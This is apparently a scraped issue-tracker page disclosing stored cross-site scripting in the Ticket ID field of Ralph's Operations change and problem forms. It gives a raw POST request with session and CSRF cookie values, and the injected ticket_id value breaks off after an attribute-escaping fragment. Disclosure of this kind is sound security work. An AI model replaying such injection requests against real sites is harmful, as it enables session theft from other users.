Multiple Stored XSS in Operations - Ticket ID
- 主要语言
- Python
- 星标
- 2.5k
- 派生
- 593
- 平均合并
- 2 天 9 小时
- 30 天内合并 PR
- 6
描述
### Steps to reproduce
Multiple stored XSS have been found by @nullvoiddeath and myself (@az0mb13) in Operations inside Ticket IDs in Changes and Problems. There may be more vulnerable endpoints similar to this.


### Vulnerable Endpoints
* https://ralph-demo.allegro.tech/operations/change/add/ (in Ticket ID)
* https://ralph-demo.allegro.tech/operations/problem/add/ (in Ticket ID)
### Vulnerable Request
```http
POST /operations/problem/103/ HTTP/1.1
Host: ralph-demo.allegro.tech
Cookie: csrftoken=6XYt9UzJvP90FzMrP2Nx47eUCke00wFF; sessionid=x0wro2sydzt15c0hqq818i6jjg8o5mj0
Content-Length: 1369
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://ralph-demo.allegro.tech
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuZzJBXlfBNAFEASD
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Gpc: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://ralph-demo.allegro.tech/operations/problem/103/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="csrfmiddlewaretoken"
6XYt9UzJvP90FzMrP2Nx47eUCke00wFF
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="type"
201
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="title"
Test
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="status"
4
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="reporter"
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="assignee"
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="description"
------WebKitFormBoundaryuZzJBXlfBNAFEASD
Content-Disposition: form-data; name="ticket_id"
">
贡献指南
评估
这个 Issue 还没有评估数据。